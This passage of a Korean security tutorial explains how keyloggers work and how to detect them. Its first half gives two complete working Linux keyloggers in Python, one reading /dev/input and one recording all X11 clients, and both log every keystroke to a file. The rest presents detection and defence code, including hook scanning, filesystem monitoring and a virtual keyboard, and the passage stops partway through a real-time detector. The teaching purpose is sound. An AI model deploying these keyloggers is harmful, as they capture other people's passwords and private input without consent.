โš ๏ธ ์œค๋ฆฌ์  ์ฃผ์˜์‚ฌํ•ญ ์œ„ ์ฝ”๋“œ๋Š” ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ๊ธฐ๋ฒ•๋“ค์ด์•ผ. ๋ณด์•ˆ ์—ฐ๊ตฌ์ž๋“ค์€ ์ด๋Ÿฐ ๊ธฐ๋ฒ•์„ ์•Œ์•„์•ผ ํƒ์ง€ ์‹œ์Šคํ…œ์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์–ด. ํ•˜์ง€๋งŒ ์ ˆ๋Œ€๋กœ ์‹ค์ œ ์•…์˜์ ์ธ ๋ชฉ์ ์œผ๋กœ ์‚ฌ์šฉํ•˜๋ฉด ์•ˆ ๋ผ! ์ž์‹ ์˜ ์ปดํ“จํ„ฐ๋‚˜ ํ—ˆ๊ฐ€๋ฐ›์€ ํ…Œ์ŠคํŠธ ํ™˜๊ฒฝ์—์„œ๋งŒ ์‹คํ—˜ํ•ด์•ผ ํ•ด. ๐Ÿšซ

๐Ÿง Linux ํ™˜๊ฒฝ์—์„œ์˜ ํ‚ค๋กœ๊ฑฐ

Linux๋Š” Windows์™€ ๋‹ค๋ฅธ ๋ฐฉ์‹์œผ๋กœ ์ž‘๋™ํ•ด. /dev/input ์žฅ์น˜๋ฅผ ์ง์ ‘ ์ฝ๊ฑฐ๋‚˜ X11 ์„œ๋ฒ„๋ฅผ ํ›„ํ‚นํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜์ง€. ๐Ÿง

๐Ÿ“ /dev/input ๊ธฐ๋ฐ˜ ํ‚ค๋กœ๊ฑฐ

#!/usr/bin/env python3
import struct
import sys
from pathlib import Path

# ํ‚ค ์ฝ”๋“œ ๋งคํ•‘ (์ผ๋ถ€๋งŒ ํ‘œ์‹œ)
KEY_CODES = {
    1: 'ESC', 2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8', 10: '9', 11: '0',
    16: 'Q', 17: 'W', 18: 'E', 19: 'R', 20: 'T', 21: 'Y', 22: 'U', 23: 'I', 24: 'O', 25: 'P',
    30: 'A', 31: 'S', 32: 'D', 33: 'F', 34: 'G', 35: 'H', 36: 'J', 37: 'K', 38: 'L',
    44: 'Z', 45: 'X', 46: 'C', 47: 'V', 48: 'B', 49: 'N', 50: 'M',
    28: 'ENTER', 57: 'SPACE', 14: 'BACKSPACE'
}

def find_keyboard_device():
    """ํ‚ค๋ณด๋“œ ์žฅ์น˜ ํŒŒ์ผ ์ฐพ๊ธฐ"""
    input_devices = Path('/dev/input').glob('event*')
    
    for device in input_devices:
        try:
            with open(device, 'rb') as f:
                # ์žฅ์น˜ ์ด๋ฆ„ ํ™•์ธ (๊ฐ„๋‹จํ•œ ๋ฐฉ๋ฒ•)
                print(f"Found device: {device}")
                return str(device)
        except PermissionError:
            continue
    
    return None

def read_keyboard_events(device_path, log_file='keylog.txt'):
    """ํ‚ค๋ณด๋“œ ์ด๋ฒคํŠธ ์ฝ๊ธฐ"""
    # ์ด๋ฒคํŠธ ๊ตฌ์กฐ์ฒด ํ˜•์‹: long, long, unsigned short, unsigned short, unsigned int
    EVENT_FORMAT = 'llHHI'
    EVENT_SIZE = struct.calcsize(EVENT_FORMAT)
    
    with open(device_path, 'rb') as device:
        with open(log_file, 'a') as log:
            log.write("\n=== Keylogger Started ===\n\n")
            
            while True:
                event = device.read(EVENT_SIZE)
                if event:
                    (tv_sec, tv_usec, type, code, value) = struct.unpack(EVENT_FORMAT, event)
                    
                    # type 1์€ ํ‚ค ์ด๋ฒคํŠธ, value 1์€ ํ‚ค ๋‹ค์šด
                    if type == 1 and value == 1:
                        key = KEY_CODES.get(code, f'UNKNOWN({code})')
                        print(f"Key pressed: {key}")
                        log.write(f"{key} ")
                        log.flush()

if __name__ == '__main__':
    if os.geteuid() != 0:
        print("This script requires root privileges!")
        print("Run with: sudo python3 keylogger.py")
        sys.exit(1)
    
    device = find_keyboard_device()
    if device:
        print(f"Monitoring keyboard: {device}")
        read_keyboard_events(device)
    else:
        print("No keyboard device found!")
๐Ÿ”ง Linux ํ‚ค๋กœ๊ฑฐ ํŠน์ง•

๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”: /dev/input ์žฅ์น˜์— ์ ‘๊ทผํ•˜๋ ค๋ฉด root ๊ถŒํ•œ์ด ํ•„์š”ํ•ด. ์ด๊ฒŒ Linux์˜ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด์ง€.

์ด๋ฒคํŠธ ๊ตฌ์กฐ์ฒด: Linux๋Š” ์ž…๋ ฅ์„ ์ด๋ฒคํŠธ ๊ตฌ์กฐ์ฒด๋กœ ์ „๋‹ฌํ•ด. struct ๋ชจ๋“ˆ๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ฐ์ดํ„ฐ๋ฅผ ํŒŒ์‹ฑํ•ด์•ผ ํ•ด.

์žฅ์น˜ ํŒŒ์ผ: ํ‚ค๋ณด๋“œ๋Š” /dev/input/eventX ํ˜•ํƒœ์˜ ํŒŒ์ผ๋กœ ํ‘œํ˜„๋ผ. ์—ฌ๋Ÿฌ ๊ฐœ๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ์–ด์„œ ์ฐพ๋Š” ๊ณผ์ •์ด ํ•„์š”ํ•ด.

๐Ÿ–ฅ๏ธ X11 ๊ธฐ๋ฐ˜ ํ‚ค๋กœ๊ฑฐ

#!/usr/bin/env python3
from Xlib import display, X
from Xlib.ext import record
from Xlib.protocol import rq

class X11Keylogger:
    def __init__(self, log_file='keylog.txt'):
        self.log_file = log_file
        self.local_display = display.Display()
        self.record_display = display.Display()
        
    def key_event_handler(self, reply):
        """ํ‚ค ์ด๋ฒคํŠธ ์ฒ˜๋ฆฌ"""
        if reply.category != record.FromServer:
            return
        if reply.client_swapped:
            return
        
        data = reply.data
        while len(data):
            event, data = rq.EventField(None).parse_binary_value(
                data, self.record_display.display, None, None
            )
            
            if event.type == X.KeyPress:
                keysym = self.local_display.keycode_to_keysym(event.detail, 0)
                char = self.local_display.lookup_string(keysym)
                
                if char:
                    with open(self.log_file, 'a') as f:
                        f.write(char)
                        f.flush()
                    print(char, end='', flush=True)
    
    def start(self):
        """ํ‚ค๋กœ๊ฑฐ ์‹œ์ž‘"""
        ctx = self.record_display.record_create_context(
            0,
            [record.AllClients],
            [{
                'core_requests': (0, 0),
                'core_replies': (0, 0),
                'ext_requests': (0, 0, 0, 0),
                'ext_replies': (0, 0, 0, 0),
                'delivered_events': (0, 0),
                'device_events': (X.KeyPress, X.KeyRelease),
                'errors': (0, 0),
                'client_started': False,
                'client_died': False,
            }]
        )
        
        self.record_display.record_enable_context(ctx, self.key_event_handler)
        self.record_display.record_free_context(ctx)

if __name__ == '__main__':
    keylogger = X11Keylogger()
    print("X11 Keylogger started. Press Ctrl+C to stop.")
    try:
        keylogger.start()
    except KeyboardInterrupt:
        print("\nKeylogger stopped.")
๐Ÿ’ก X11 vs /dev/input X11 ๋ฐฉ์‹: GUI ํ™˜๊ฒฝ์—์„œ๋งŒ ์ž‘๋™ํ•˜์ง€๋งŒ, ์‚ฌ์šฉ์ž ๊ถŒํ•œ์œผ๋กœ๋„ ์‹คํ–‰ ๊ฐ€๋Šฅํ•ด. X ์„œ๋ฒ„์˜ ์ด๋ฒคํŠธ๋ฅผ ๊ฐ€๋กœ์ฑ„๋Š” ๋ฐฉ์‹์ด์•ผ.

/dev/input ๋ฐฉ์‹: ๋” ์ €์ˆ˜์ค€์ด๋ผ ์ฝ˜์†”์—์„œ๋„ ์ž‘๋™ํ•˜์ง€๋งŒ root ๊ถŒํ•œ์ด ํ•„์š”ํ•ด. ํ•˜๋“œ์›จ์–ด ๋ ˆ๋ฒจ์— ๊ฐ€๊นŒ์šด ์ ‘๊ทผ์ด์ง€.

๋ณด์•ˆ ์—ฐ๊ตฌ ์‹œ์—๋Š” ๋‘ ๋ฐฉ์‹ ๋ชจ๋‘ ์ดํ•ดํ•˜๊ณ  ์žˆ์–ด์•ผ ์™„๋ฒฝํ•œ ๋ฐฉ์–ด ์‹œ์Šคํ…œ์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์–ด! ๐Ÿ›ก๏ธ
ํ‚ค๋กœ๊ฑฐ ํƒ์ง€ ๋ฐ ๋ฐฉ์–ด ์ „๋žต ๐Ÿ›ก๏ธ ๋ฐฉ์–ด ๋ฐฉ๋ฒ• ์•ˆํ‹ฐ๋ฐ”์ด๋Ÿฌ์Šค ์‹ค์‹œ๊ฐ„ ๊ฐ์‹œ ํ”„๋กœ์„ธ์Šค ๋ชจ๋‹ˆํ„ฐ๋ง ๋„๊ตฌ ๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ ๋ถ„์„ ๊ฐ€์ƒ ํ‚ค๋ณด๋“œ ์‚ฌ์šฉ 2๋‹จ๊ณ„ ์ธ์ฆ ํ™œ์„ฑํ™” ์ •๊ธฐ์ ์ธ ์‹œ์Šคํ…œ ์Šค์บ” ์˜์‹ฌ์Šค๋Ÿฌ์šด ํ”„๋กœ๊ทธ๋žจ ์ฐจ๋‹จ ์šด์˜์ฒด์ œ ์ตœ์‹  ์—…๋ฐ์ดํŠธ โš ๏ธ ๊ฐ์—ผ ์ง•ํ›„ ์ปดํ“จํ„ฐ ์†๋„ ์ €ํ•˜ ์•Œ ์ˆ˜ ์—†๋Š” ํ”„๋กœ์„ธ์Šค ์‹คํ–‰ ๋น„์ •์ƒ์ ์ธ ๋„คํŠธ์›Œํฌ ํ™œ๋™ ๋””์Šคํฌ ์‚ฌ์šฉ๋Ÿ‰ ์ฆ๊ฐ€ ๊ณ„์ • ๋ฌด๋‹จ ์ ‘๊ทผ ์‹œ๋„ ์‹œ์ž‘ ํ”„๋กœ๊ทธ๋žจ ๋ณ€๊ฒฝ ๋ฐฉํ™”๋ฒฝ ๊ฒฝ๊ณ  ๋ฉ”์‹œ์ง€ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ํŒ์—…

๐Ÿ” ํ‚ค๋กœ๊ฑฐ ํƒ์ง€ ๊ธฐ๋ฒ•

์ด์ œ ๊ณต๊ฒฉ์„ ๋ง‰๋Š” ๋ฐฉ๋ฒ•์„ ์•Œ์•„๋ณผ ์ฐจ๋ก€์•ผ! ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๋“ค์ด ์‚ฌ์šฉํ•˜๋Š” ํƒ์ง€ ๊ธฐ๋ฒ•๋“ค์„ ์†Œ๊ฐœํ• ๊ฒŒ. ๐Ÿ˜Ž

1๏ธโƒฃ ํ”„๋กœ์„ธ์Šค ๋ถ„์„

์˜์‹ฌ์Šค๋Ÿฌ์šด ํ”„๋กœ์„ธ์Šค ์ฐพ๊ธฐ Windows์—์„œ๋Š” Process Explorer๋‚˜ Process Hacker ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด์„œ ์‹คํ–‰ ์ค‘์ธ ๋ชจ๋“  ํ”„๋กœ์„ธ์Šค๋ฅผ ๋ถ„์„ํ•  ์ˆ˜ ์žˆ์–ด. ํŠนํžˆ ๋‹ค์Œ ํ•ญ๋ชฉ๋“ค์„ ์ฃผ์˜ ๊นŠ๊ฒŒ ๋ด์•ผ ํ•ด:

โ€ข ์•Œ ์ˆ˜ ์—†๋Š” ์ œ์ž‘์‚ฌ์˜ ํ”„๋กœ์„ธ์Šค
โ€ข ์‹œ์Šคํ…œ ํด๋”๊ฐ€ ์•„๋‹Œ ๊ณณ์—์„œ ์‹คํ–‰๋˜๋Š” ์‹œ์Šคํ…œ ์ด๋ฆ„ ํ”„๋กœ์„ธ์Šค
โ€ข ๋„คํŠธ์›Œํฌ ์—ฐ๊ฒฐ์ด ์žˆ๋Š” ๋ฐฑ๊ทธ๋ผ์šด๋“œ ํ”„๋กœ์„ธ์Šค
โ€ข CPU๋‚˜ ๋ฉ”๋ชจ๋ฆฌ ์‚ฌ์šฉ๋Ÿ‰์ด ๋น„์ •์ƒ์ ์ธ ํ”„๋กœ์„ธ์Šค

2๏ธโƒฃ ํ›„ํ‚น ํƒ์ง€

ํ‚ค๋กœ๊ฑฐ๋Š” ๋Œ€๋ถ€๋ถ„ ํ›„ํ‚น ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜๋‹ˆ๊นŒ, ํ›„ํ‚น์„ ํƒ์ง€ํ•˜๋ฉด ํ‚ค๋กœ๊ฑฐ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์–ด. ๋‹ค์Œ์€ Windows์—์„œ ํ›„ํ‚น์„ ํƒ์ง€ํ•˜๋Š” Python ์ฝ”๋“œ์•ผ.

import ctypes
from ctypes import wintypes

# Windows API ํ•จ์ˆ˜ ์ •์˜
user32 = ctypes.WinDLL('user32', use_last_error=True)

def detect_keyboard_hooks():
    """ํ‚ค๋ณด๋“œ ํ›„ํ‚น ํƒ์ง€"""
    hooks_found = []
    
    # WH_KEYBOARD_LL (13) ํ›„ํ‚น ์ฒดํฌ
    hook_type = 13  # WH_KEYBOARD_LL
    
    # GetWindowsHookEx๋Š” ์ง์ ‘ ์กฐํšŒ๊ฐ€ ์•ˆ ๋˜๋ฏ€๋กœ
    # ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ ํ›„ํ‚น ํƒ์ง€
    
    # ๋ฐฉ๋ฒ• 1: ํ”„๋กœ์„ธ์Šค์˜ DLL ๋กœ๋“œ ํ™•์ธ
    import psutil
    
    for proc in psutil.process_iter(['pid', 'name', 'exe']):
        try:
            # ์˜์‹ฌ์Šค๋Ÿฌ์šด DLL ๋กœ๋“œ ํ™•์ธ
            for dll in proc.memory_maps():
                if 'hook' in dll.path.lower() or 'keylog' in dll.path.lower():
                    hooks_found.append({
                        'process': proc.info['name'],
                        'pid': proc.info['pid'],
                        'dll': dll.path
                    })
        except (psutil.NoSuchProcess, psutil.AccessDenied):
            continue
    
    return hooks_found

def check_suspicious_processes():
    """์˜์‹ฌ์Šค๋Ÿฌ์šด ํ”„๋กœ์„ธ์Šค ์ฒดํฌ"""
    import psutil
    suspicious = []
    
    for proc in psutil.process_iter(['pid', 'name', 'exe', 'connections']):
        try:
            # ๋„คํŠธ์›Œํฌ ์—ฐ๊ฒฐ์ด ์žˆ๋Š” ๋ฐฑ๊ทธ๋ผ์šด๋“œ ํ”„๋กœ์„ธ์Šค
            if proc.info['connections']:
                # ์‹œ์Šคํ…œ ๊ฒฝ๋กœ๊ฐ€ ์•„๋‹Œ ๊ณณ์—์„œ ์‹คํ–‰
                if proc.info['exe'] and 'system32' not in proc.info['exe'].lower():
                    suspicious.append({
                        'name': proc.info['name'],
                        'pid': proc.info['pid'],
                        'exe': proc.info['exe'],
                        'connections': len(proc.info['connections'])
                    })
        except (psutil.NoSuchProcess, psutil.AccessDenied):
            continue
    
    return suspicious

if __name__ == '__main__':
    print("๐Ÿ” Scanning for keyboard hooks...")
    hooks = detect_keyboard_hooks()
    
    if hooks:
        print(f"\nโš ๏ธ Found {len(hooks)} suspicious hooks:")
        for hook in hooks:
            print(f"  - Process: {hook['process']} (PID: {hook['pid']})")
            print(f"    DLL: {hook['dll']}")
    else:
        print("โœ… No suspicious hooks detected")
    
    print("\n๐Ÿ” Scanning for suspicious processes...")
    suspicious = check_suspicious_processes()
    
    if suspicious:
        print(f"\nโš ๏ธ Found {len(suspicious)} suspicious processes:")
        for proc in suspicious:
            print(f"  - {proc['name']} (PID: {proc['pid']})")
            print(f"    Path: {proc['exe']}")
            print(f"    Network connections: {proc['connections']}")
    else:
        print("โœ… No suspicious processes detected")

3๏ธโƒฃ ๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ ๋ถ„์„

๐ŸŒ ํŒจํ‚ท ์Šค๋‹ˆํ•‘์œผ๋กœ ํ‚ค๋กœ๊ฑฐ ์ฐพ๊ธฐ ๋งŽ์€ ํ‚ค๋กœ๊ฑฐ๋“ค์€ ์ˆ˜์ง‘ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์™ธ๋ถ€ ์„œ๋ฒ„๋กœ ์ „์†กํ•ด. Wireshark ๊ฐ™์€ ๋„๊ตฌ๋กœ ๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ์„ ๋ถ„์„ํ•˜๋ฉด ์ด๋Ÿฐ ํ†ต์‹ ์„ ์žก์•„๋‚ผ ์ˆ˜ ์žˆ์–ด. ํŠนํžˆ ๋‹ค์Œ์„ ์ฃผ์˜ํ•ด๋ด:

โ€ข ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€ HTTP POST ์š”์ฒญ
โ€ข ์•Œ ์ˆ˜ ์—†๋Š” IP๋กœ์˜ ์ฃผ๊ธฐ์ ์ธ ์—ฐ๊ฒฐ
โ€ข ๋น„์ •์ƒ์ ์œผ๋กœ ๋งŽ์€ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๋Š” ํ”„๋กœ์„ธ์Šค
โ€ข ์ด์ƒํ•œ ํฌํŠธ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ํ†ต์‹ 

4๏ธโƒฃ ํŒŒ์ผ ์‹œ์Šคํ…œ ๋ชจ๋‹ˆํ„ฐ๋ง

import os
import hashlib
import time
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler

class KeyloggerDetector(FileSystemEventHandler):
    """ํŒŒ์ผ ์‹œ์Šคํ…œ ๋ณ€๊ฒฝ ๊ฐ์ง€"""
    
    def __init__(self):
        self.suspicious_extensions = ['.log', '.txt', '.dat']
        self.suspicious_names = ['keylog', 'key_log', 'keys', 'passwords']
        
    def on_created(self, event):
        """์ƒˆ ํŒŒ์ผ ์ƒ์„ฑ ๊ฐ์ง€"""
        if event.is_directory:
            return
        
        file_path = event.src_path
        file_name = os.path.basename(file_path).lower()
        
        # ์˜์‹ฌ์Šค๋Ÿฌ์šด ํŒŒ์ผ๋ช… ์ฒดํฌ
        for name in self.suspicious_names:
            if name in file_name:
                print(f"โš ๏ธ Suspicious file created: {file_path}")
                self.analyze_file(file_path)
                
    def on_modified(self, event):
        """ํŒŒ์ผ ์ˆ˜์ • ๊ฐ์ง€"""
        if event.is_directory:
            return
        
        file_path = event.src_path
        
        # ๋น ๋ฅด๊ฒŒ ์ฆ๊ฐ€ํ•˜๋Š” ํŒŒ์ผ ํฌ๊ธฐ ์ฒดํฌ
        try:
            size = os.path.getsize(file_path)
            if size > 1024 * 1024:  # 1MB ์ด์ƒ
                print(f"โš ๏ธ Large file detected: {file_path} ({size} bytes)")
        except:
            pass
    
    def analyze_file(self, file_path):
        """ํŒŒ์ผ ๋‚ด์šฉ ๋ถ„์„"""
        try:
            with open(file_path, 'rb') as f:
                content = f.read(1024)  # ์ฒซ 1KB๋งŒ ์ฝ๊ธฐ
                
                # ํ‚ค๋กœ๊ทธ ํŒจํ„ด ์ฐพ๊ธฐ
                patterns = [b'Key:', b'[ENTER]', b'[BACKSPACE]', b'password']
                for pattern in patterns:
                    if pattern in content:
                        print(f"๐Ÿšจ KEYLOGGER PATTERN FOUND in {file_path}")
                        print(f"   Pattern: {pattern}")
                        break
        except:
            pass

def monitor_filesystem(path='.'):
    """ํŒŒ์ผ ์‹œ์Šคํ…œ ๋ชจ๋‹ˆํ„ฐ๋ง ์‹œ์ž‘"""
    event_handler = KeyloggerDetector()
    observer = Observer()
    observer.schedule(event_handler, path, recursive=True)
    observer.start()
    
    print(f"๐Ÿ” Monitoring filesystem: {path}")
    print("Press Ctrl+C to stop")
    
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        observer.stop()
    
    observer.join()

if __name__ == '__main__':
    monitor_filesystem()
๐Ÿ’ก ์‹ค์‹œ๊ฐ„ ๋ชจ๋‹ˆํ„ฐ๋ง์˜ ์ค‘์š”์„ฑ ํ‚ค๋กœ๊ฑฐ๋Š” ์„ค์น˜๋˜๋Š” ์ˆœ๊ฐ„๋ถ€ํ„ฐ ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ง‘ํ•˜๊ธฐ ์‹œ์ž‘ํ•ด. ๊ทธ๋ž˜์„œ ์‹ค์‹œ๊ฐ„ ๋ชจ๋‹ˆํ„ฐ๋ง์ด ์ •๋ง ์ค‘์š”ํ•ด! watchdog ๊ฐ™์€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ์ฆ‰์‹œ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์–ด. ํŠนํžˆ ์ž„์‹œ ํด๋”๋‚˜ ์‚ฌ์šฉ์ž ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์ง‘์ค‘์ ์œผ๋กœ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ๊ฒŒ ํšจ๊ณผ์ ์ด์•ผ. ๐ŸŽฏ

๐Ÿ›ก๏ธ ์•ˆํ‹ฐ ํ‚ค๋กœ๊ฑฐ ์†”๋ฃจ์…˜ ๊ฐœ๋ฐœ

์ด์ œ ์ง์ ‘ ์•ˆํ‹ฐ ํ‚ค๋กœ๊ฑฐ๋ฅผ ๋งŒ๋“ค์–ด๋ณผ ๊ฑฐ์•ผ! ํ‚ค๋กœ๊ฑฐ๋ฅผ ํƒ์ง€ํ•˜๊ณ  ์ฐจ๋‹จํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ๊ฐœ๋ฐœํ•ด๋ณด์ž. ๐Ÿš€

๐Ÿ” ๊ฐ€์ƒ ํ‚ค๋ณด๋“œ ๊ตฌํ˜„

๊ฐ€์žฅ ํšจ๊ณผ์ ์ธ ๋ฐฉ์–ด ๋ฐฉ๋ฒ• ์ค‘ ํ•˜๋‚˜๋Š” ๊ฐ€์ƒ ํ‚ค๋ณด๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฑฐ์•ผ. ๋ฌผ๋ฆฌ์  ํ‚ค๋ณด๋“œ ๋Œ€์‹  ๋งˆ์šฐ์Šค๋กœ ํด๋ฆญํ•ด์„œ ์ž…๋ ฅํ•˜๋ฉด ํ‚ค๋กœ๊ฑฐ๊ฐ€ ๊ฐ์ง€ํ•  ์ˆ˜ ์—†๊ฑฐ๋“ !

import tkinter as tk
from tkinter import ttk
import pyperclip

class VirtualKeyboard:
    def __init__(self):
        self.root = tk.Tk()
        self.root.title("๐Ÿ” Virtual Keyboard - Anti-Keylogger")
        self.root.geometry("800x400")
        self.root.configure(bg='#2c3e50')
        
        self.input_text = ""
        self.shift_pressed = False
        
        self.setup_ui()
        
    def setup_ui(self):
        """UI ์„ค์ •"""
        # ์ž…๋ ฅ ํ‘œ์‹œ ์˜์—ญ
        self.display_frame = tk.Frame(self.root, bg='#34495e', height=80)
        self.display_frame.pack(fill=tk.X, padx=10, pady=10)
        
        self.display_label = tk.Label(
            self.display_frame,
            text="",
            font=('Arial', 16),
            bg='#ecf0f1',
            fg='#2c3e50',
            anchor='w',
            padx=10
        )
        self.display_label.pack(fill=tk.BOTH, expand=True, padx=5, pady=5)
        
        # ํ‚ค๋ณด๋“œ ๋ ˆ์ด์•„์›ƒ
        self.keyboard_frame = tk.Frame(self.root, bg='#2c3e50')
        self.keyboard_frame.pack(fill=tk.BOTH, expand=True, padx=10, pady=10)
        
        # ํ‚ค ๋ ˆ์ด์•„์›ƒ ์ •์˜
        keys = [
            ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'Backspace'],
            ['Q', 'W', 'E', 'R', 'T', 'Y', 'U', 'I', 'O', 'P'],
            ['A', 'S', 'D', 'F', 'G', 'H', 'J', 'K', 'L'],
            ['Shift', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'Clear'],
            ['Space', 'Copy', 'Close']
        ]
        
        for row_idx, row in enumerate(keys):
            row_frame = tk.Frame(self.keyboard_frame, bg='#2c3e50')
            row_frame.pack(pady=5)
            
            for key in row:
                if key == 'Space':
                    width = 30
                elif key in ['Backspace', 'Shift', 'Clear', 'Copy', 'Close']:
                    width = 12
                else:
                    width = 6
                
                btn = tk.Button(
                    row_frame,
                    text=key,
                    width=width,
                    height=2,
                    font=('Arial', 12, 'bold'),
                    bg='#3498db',
                    fg='white',
                    activebackground='#2980b9',
                    relief=tk.RAISED,
                    command=lambda k=key: self.key_pressed(k)
                )
                btn.pack(side=tk.LEFT, padx=3)
    
    def key_pressed(self, key):
        """ํ‚ค ํด๋ฆญ ์ฒ˜๋ฆฌ"""
        if key == 'Backspace':
            self.input_text = self.input_text[:-1]
        elif key == 'Clear':
            self.input_text = ""
        elif key == 'Space':
            self.input_text += " "
        elif key == 'Shift':
            self.shift_pressed = not self.shift_pressed
            return
        elif key == 'Copy':
            pyperclip.copy(self.input_text)
            self.show_message("Copied to clipboard! โœ“")
            return
        elif key == 'Close':
            self.root.destroy()
            return
        else:
            if self.shift_pressed:
                self.input_text += key.upper()
                self.shift_pressed = False
            else:
                self.input_text += key.lower()
        
        self.update_display()
    
    def update_display(self):
        """๋””์Šคํ”Œ๋ ˆ์ด ์—…๋ฐ์ดํŠธ"""
        # ๋ณด์•ˆ์„ ์œ„ํ•ด ๋งˆ์Šคํ‚น ์˜ต์…˜
        display_text = self.input_text
        # display_text = '*' * len(self.input_text)  # ๋งˆ์Šคํ‚นํ•˜๋ ค๋ฉด ์ด ์ค„ ์‚ฌ์šฉ
        
        self.display_label.config(text=display_text)
    
    def show_message(self, message):
        """์ž„์‹œ ๋ฉ”์‹œ์ง€ ํ‘œ์‹œ"""
        original_text = self.display_label.cget('text')
        self.display_label.config(text=message, fg='#27ae60')
        self.root.after(2000, lambda: self.display_label.config(
            text=original_text, fg='#2c3e50'
        ))
    
    def run(self):
        """ํ”„๋กœ๊ทธ๋žจ ์‹คํ–‰"""
        self.root.mainloop()

if __name__ == '__main__':
    keyboard = VirtualKeyboard()
    keyboard.run()
๐ŸŽจ ๊ฐ€์ƒ ํ‚ค๋ณด๋“œ์˜ ์žฅ์ 

ํ‚ค๋กœ๊ฑฐ ๋ฌด๋ ฅํ™”: ๋ฌผ๋ฆฌ์  ํ‚ค๋ณด๋“œ ์ž…๋ ฅ์ด ์—†์œผ๋‹ˆ ํ‚ค๋กœ๊ฑฐ๊ฐ€ ๊ฐ์ง€ํ•  ์ˆ˜ ์—†์–ด.
๋งˆ์Šคํ‚น ๊ธฐ๋Šฅ: ํ™”๋ฉด์— ํ‘œ์‹œ๋˜๋Š” ๋‚ด์šฉ๋„ ๋งˆ์Šคํ‚นํ•  ์ˆ˜ ์žˆ์–ด์„œ ์–ด๊นจ ๋„ˆ๋จธ ๊ณต๊ฒฉ๋„ ๋ฐฉ์–ด ๊ฐ€๋Šฅ.
ํด๋ฆฝ๋ณด๋“œ ๋ณด์•ˆ: ์ง์ ‘ ํด๋ฆฝ๋ณด๋“œ์— ๋ณต์‚ฌํ•˜๋Š” ๊ธฐ๋Šฅ์œผ๋กœ ์•ˆ์ „ํ•˜๊ฒŒ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ž…๋ ฅ ๊ฐ€๋Šฅ.
์‹œ๊ฐ์  ํ”ผ๋“œ๋ฐฑ: ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅ ๋‚ด์šฉ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์–ด ํŽธ๋ฆฌํ•ด.

๐Ÿšจ ์‹ค์‹œ๊ฐ„ ํ‚ค๋กœ๊ฑฐ ํƒ์ง€ ์‹œ์Šคํ…œ

import psutil
import time
import threading
from collections import defaultdict
import win32api
import win32process
import win32con

class RealtimeKeyloggerDetector:
    def __init__(self):
        self.suspicious_processes = set()
        self.process_stats = defaultdict(dict)
        self.monitoring = True
        
    def check_process_behavior(self, proc):
        """ํ”„๋กœ์„ธ์Šค ํ–‰๋™ ๋ถ„์„"""
        try:
            pid = proc.pid
            name = proc.name()
            
            # CPU ์‚ฌ์šฉ๋ฅ  ์ฒดํฌ
            cpu_percent = proc.cpu_percent(interval=0.1)
            
            # ๋ฉ”๋ชจ๋ฆฌ ์‚ฌ์šฉ๋Ÿ‰
            mem_info = proc.memory_info()
            mem_mb = mem_info.rss / 1024 / 1024
            
            # ๋„คํŠธ์›Œํฌ ์—ฐ๊ฒฐ
            connections = proc.connections()
            
            # ์—ด๋ฆฐ ํŒŒ์ผ
            try:
                open_files = proc.open_files()
            except:
                open_files = []
            
            # ์˜์‹ฌ์Šค๋Ÿฌ์šด ํŒจํ„ด ์ฒดํฌ
            suspicion_score = 0
            reasons = []
            
            # 1. ๋‚ฎ์€ CPU ์‚ฌ์šฉ๋ฅ  + ๋„คํŠธ์›Œํฌ ์—ฐ๊ฒฐ (๋ฐฑ๊ทธ๋ผ์šด๋“œ ์ „์†ก)
            if cpu_percent < 5 and len(connections) > 0:
                suspicion_score += 2
                reasons.append("Low CPU with network activity")
            
            # 2. ์‹œ์Šคํ…œ ํด๋”๊ฐ€ ์•„๋‹Œ ๊ณณ์—์„œ ์‹คํ–‰
            try:
                exe_path = proc.exe().lower()
                if 'system32' not in exe_path and 'program files' not in exe_path:
                    suspicion_score += 1
                    reasons.append("Non-system location")
            except:
                pass
            
            # 3. ๋กœ๊ทธ ํŒŒ์ผ ์“ฐ๊ธฐ
            for f in open_files:
                if any(ext in f.path.lower() for ext in ['.log', '.txt', '.dat']):
                    if any(word in f.path.lower() for word in ['key', 'log', 'pass']):
                        suspicion_score += 3
                        reasons.append(f"Suspicious file: {f.path}")
            
